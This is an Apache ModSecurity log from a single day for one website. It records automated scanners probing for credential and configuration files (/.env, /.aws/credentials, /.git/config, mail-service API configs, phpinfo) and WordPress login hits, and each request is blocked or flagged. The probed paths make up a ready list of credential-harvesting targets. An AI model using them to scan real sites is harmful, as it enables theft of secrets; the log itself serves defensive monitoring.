[Sun Nov 30 05:05:44.028040 2025] [:error] [pid 24971:tid 24992] [client 3.39.194.251:41122] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.aws/credentials"] [unique_id "aStgKDUZcbcCmcDjhQ_NrwAAANM"]
[Sun Nov 30 05:05:44.638484 2025] [:error] [pid 25002:tid 25034] [client 3.39.194.251:41132] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws/config"] [unique_id "aStgKG2Hykst8BxxTdJUEgAAAUI"]
[Sun Nov 30 05:05:45.254441 2025] [:error] [pid 25002:tid 25048] [client 3.39.194.251:41146] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws/credentials"] [unique_id "aStgKW2Hykst8BxxTdJUEwAAAVA"]
[Sun Nov 30 05:05:45.859767 2025] [:error] [pid 24971:tid 24984] [client 3.39.194.251:56640] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws.json"] [unique_id "aStgKTUZcbcCmcDjhQ_NswAAAMs"]
[Sun Nov 30 05:05:46.462897 2025] [:error] [pid 24971:tid 24982] [client 3.39.194.251:56656] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/credentials"] [unique_id "aStgKjUZcbcCmcDjhQ_NtQAAAMk"]
[Sun Nov 30 05:05:47.071597 2025] [:error] [pid 28588:tid 28611] [client 3.39.194.251:56658] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/secrets.json"] [unique_id "aStgKyYl5J2n_isyWOlfFQAAAlU"]
[Sun Nov 30 05:05:47.674318 2025] [:error] [pid 26121:tid 26131] [client 3.39.194.251:56666] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/keys.js"] [unique_id "aStgK-3yAGZUIB-ACmA8lwAAAcg"]
[Sun Nov 30 05:05:48.285636 2025] [:error] [pid 60913:tid 60921] [client 3.39.194.251:56678] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws-keys.js"] [unique_id "aStgLF4SUvyDn5e4S0JkawAAAsY"]
[Sun Nov 30 05:05:48.889368 2025] [:error] [pid 63468:tid 63474] [client 3.39.194.251:56686] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mailgun"] [unique_id "aStgLKGdTyPw0PxgJetvgAAAAAQ"]
[Sun Nov 30 05:05:49.494892 2025] [:error] [pid 54236:tid 54276] [client 3.39.194.251:56692] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mailgun.json"] [unique_id "aStgLZLzwJzIgo8dntCCbAAAARU"]
[Sun Nov 30 05:05:50.096676 2025] [:error] [pid 60913:tid 60937] [client 3.39.194.251:56700] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mailgun/config"] [unique_id "aStgLl4SUvyDn5e4S0JkbgAAAtY"]
[Sun Nov 30 05:05:50.704379 2025] [:error] [pid 51537:tid 51562] [client 3.39.194.251:56704] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mailgun.php"] [unique_id "aStgLrcSSdjzCoyn8Vs9uAAAAFc"]
[Sun Nov 30 05:05:51.314608 2025] [:error] [pid 60572:tid 60583] [client 3.39.194.251:56716] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendgrid"] [unique_id "aStgL4Vcy1tAF6kmNWnnqQAAAgk"]
[Sun Nov 30 05:05:51.918841 2025] [:error] [pid 24971:tid 24977] [client 3.39.194.251:56730] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendgrid.json"] [unique_id "aStgLzUZcbcCmcDjhQ_NuAAAAMQ"]
[Sun Nov 30 05:05:52.520458 2025] [:error] [pid 60369:tid 60374] [client 3.39.194.251:56738] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendgrid/config"] [unique_id "aStgMNR1zCWWHJK7KyERKwAAAYM"]
[Sun Nov 30 05:05:53.124664 2025] [:error] [pid 60369:tid 60384] [client 3.39.194.251:56740] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendgrid.php"] [unique_id "aStgMdR1zCWWHJK7KyERLQAAAY0"]
[Sun Nov 30 05:05:53.731809 2025] [:error] [pid 60572:tid 60593] [client 3.39.194.251:56750] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendgrid.env"] [unique_id "aStgMYVcy1tAF6kmNWnnrAAAAhM"]
[Sun Nov 30 05:05:54.344941 2025] [:error] [pid 25002:tid 25048] [client 3.39.194.251:56754] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brevo"] [unique_id "aStgMm2Hykst8BxxTdJUHgAAAVA"]
[Sun Nov 30 05:05:54.945769 2025] [:error] [pid 26121:tid 26130] [client 3.39.194.251:56768] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brevo.json"] [unique_id "aStgMu3yAGZUIB-ACmA8mAAAAcc"]
[Sun Nov 30 05:05:55.557624 2025] [:error] [pid 54236:tid 54266] [client 3.39.194.251:44570] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brevo/config"] [unique_id "aStgM5LzwJzIgo8dntCCbgAAAQs"]
[Sun Nov 30 05:05:56.166102 2025] [:error] [pid 51537:tid 51559] [client 3.39.194.251:44576] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brevo.php"] [unique_id "aStgNLcSSdjzCoyn8Vs9wwAAAFQ"]
[Sun Nov 30 05:05:56.771076 2025] [:error] [pid 24971:tid 24992] [client 3.39.194.251:44584] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php"] [unique_id "aStgNDUZcbcCmcDjhQ_NvAAAANM"]
[Sun Nov 30 05:05:57.375822 2025] [:error] [pid 51537:tid 51547] [client 3.39.194.251:44586] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info"] [unique_id "aStgNbcSSdjzCoyn8Vs9yAAAAEg"]
[Sun Nov 30 05:05:57.973204 2025] [:error] [pid 60913:tid 60917] [client 3.39.194.251:44594] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo"] [unique_id "aStgNV4SUvyDn5e4S0JkeAAAAsI"]
[Sun Nov 30 05:05:58.579902 2025] [:error] [pid 63468:tid 63471] [client 3.39.194.251:44610] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aStgNqGdTyPw0PxgJetviwAAAAE"]
[Sun Nov 30 05:06:00.244821 2025] [:error] [pid 60913:tid 60916] [client 3.39.194.251:44628] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js"] [unique_id "aStgOF4SUvyDn5e4S0JkfQAAAsE"]
[Sun Nov 30 05:28:20.328481 2025] [:error] [pid 51537:tid 51563] [client 35.158.106.24:46928] [client 35.158.106.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aStldLcSSdjzCoyn8VtEEAAAAFg"]
[Sun Nov 30 05:28:21.291192 2025] [:error] [pid 28588:tid 28593] [client 35.158.106.24:46936] [client 35.158.106.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aStldSYl5J2n_isyWOlkfAAAAkM"]
[Sun Nov 30 05:28:22.262210 2025] [:error] [pid 26121:tid 26129] [client 35.158.106.24:46946] [client 35.158.106.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aStldu3yAGZUIB-ACmBCTQAAAcY"]
[Sun Nov 30 05:28:23.234399 2025] [:error] [pid 51537:tid 51548] [client 35.158.106.24:46958] [client 35.158.106.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aStld7cSSdjzCoyn8VtEFgAAAEk"]
[Sun Nov 30 05:28:24.197676 2025] [:error] [pid 60572:tid 60593] [client 35.158.106.24:46970] [client 35.158.106.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aStleIVcy1tAF6kmNWnsuAAAAhM"]
[Sun Nov 30 05:28:25.159927 2025] [:error] [pid 60572:tid 60582] [client 35.158.106.24:46984] [client 35.158.106.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aStleYVcy1tAF6kmNWnsugAAAgg"]
[Sun Nov 30 05:28:26.121271 2025] [:error] [pid 25002:tid 25037] [client 35.158.106.24:46986] [client 35.158.106.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aStlem2Hykst8BxxTdJbFQAAAUU"]
[Sun Nov 30 05:28:27.096141 2025] [:error] [pid 60369:tid 60376] [client 35.158.106.24:46996] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/env"] [unique_id "aStle9R1zCWWHJK7KyEV0gAAAYU"]
[Sun Nov 30 05:28:28.069359 2025] [:error] [pid 63468:tid 63471] [client 35.158.106.24:46998] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/env.json"] [unique_id "aStlfKGdTyPw0PxgJet0EAAAAAE"]
[Sun Nov 30 05:28:29.030805 2025] [:error] [pid 26121:tid 26124] [client 35.158.106.24:47008] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/env.yaml"] [unique_id "aStlfe3yAGZUIB-ACmBCUwAAAcE"]
[Sun Nov 30 05:28:29.993821 2025] [:error] [pid 60913:tid 60916] [client 35.158.106.24:33652] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/env.yml"] [unique_id "aStlfV4SUvyDn5e4S0Jt9AAAAsE"]
[Sun Nov 30 05:28:30.957917 2025] [:error] [pid 60913:tid 60933] [client 35.158.106.24:33662] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config"] [unique_id "aStlfl4SUvyDn5e4S0Jt9gAAAtI"]
[Sun Nov 30 05:28:31.920102 2025] [:error] [pid 28588:tid 28591] [client 35.158.106.24:33676] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.json"] [unique_id "aStlfyYl5J2n_isyWOlkigAAAkE"]
[Sun Nov 30 05:28:32.890218 2025] [:error] [pid 26121:tid 26125] [client 35.158.106.24:33692] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.js"] [unique_id "aStlgO3yAGZUIB-ACmBCWAAAAcI"]
[Sun Nov 30 05:28:33.851793 2025] [:error] [pid 26121:tid 26132] [client 35.158.106.24:33698] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.yaml"] [unique_id "aStlge3yAGZUIB-ACmBCWQAAAck"]
[Sun Nov 30 05:28:34.813315 2025] [:error] [pid 60572:tid 60575] [client 35.158.106.24:33706] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.yml"] [unique_id "aStlgoVcy1tAF6kmNWnsvwAAAgE"]
[Sun Nov 30 05:28:35.773659 2025] [:error] [pid 24971:tid 24973] [client 35.158.106.24:33710] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.ini"] [unique_id "aStlgzUZcbcCmcDjhQ_TYgAAAMA"]
[Sun Nov 30 05:28:36.742692 2025] [:error] [pid 24971:tid 24980] [client 35.158.106.24:33722] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aStlhDUZcbcCmcDjhQ_TZAAAAMc"]
[Sun Nov 30 05:28:37.704957 2025] [:error] [pid 28588:tid 28594] [client 35.158.106.24:33738] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/configuration"] [unique_id "aStlhSYl5J2n_isyWOlkjwAAAkQ"]
[Sun Nov 30 05:28:38.675136 2025] [:error] [pid 63468:tid 63478] [client 35.158.106.24:33752] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/settings"] [unique_id "aStlhqGdTyPw0PxgJet0FAAAAAg"]
[Sun Nov 30 05:28:39.644761 2025] [:error] [pid 26121:tid 26134] [client 35.158.106.24:33754] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/settings.json"] [unique_id "aStlh-3yAGZUIB-ACmBCXAAAAcs"]
[Sun Nov 30 05:28:40.616311 2025] [:error] [pid 60913:tid 60926] [client 35.158.106.24:40514] [client 35.158.106.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/app.config.js"] [unique_id "aStliF4SUvyDn5e4S0JuCQAAAss"]
[Sun Nov 30 11:44:25.905614 2025] [:error] [pid 58704:tid 58709] [client 139.59.80.33:62209] [client 139.59.80.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.80.33, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSu9mVgCdnbXMzbONnOyqAAAA4I"]
[Sun Nov 30 11:44:26.522931 2025] [:error] [pid 10608:tid 10644] [client 139.59.80.33:62540] [client 139.59.80.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.80.33, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSu9muG4qpknNxmxP5c3RgAAA8c"]
[Sun Nov 30 12:56:58.915343 2025] [:error] [pid 9375:tid 9407] [client 35.222.252.124:58074] [client 35.222.252.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSvOmt-EkWIUe87KIjO-GQAAA0M"]
[Sun Nov 30 14:43:36.236715 2025] [:error] [pid 10607:tid 10618] [client 113.141.91.58:39875] [client 113.141.91.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSvnmHMxNFmf1l9xA_F2lQAAAsg"]
[Sun Nov 30 14:52:03.170197 2025] [:error] [pid 58704:tid 58711] [client 209.97.150.126:47430] [client 209.97.150.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSvpk1gCdnbXMzbONnPqTwAAA4Q"]
[Sun Nov 30 14:52:04.852115 2025] [:error] [pid 10607:tid 10616] [client 209.97.150.126:44160] [client 209.97.150.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSvplHMxNFmf1l9xA_F4HQAAAsY"]
[Sun Nov 30 16:21:44.100146 2025] [:error] [pid 12554:tid 12569] [client 43.157.53.115:55240] [client 43.157.53.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSv-mD7q_kXd01TaAD9WEAAAAA0"]
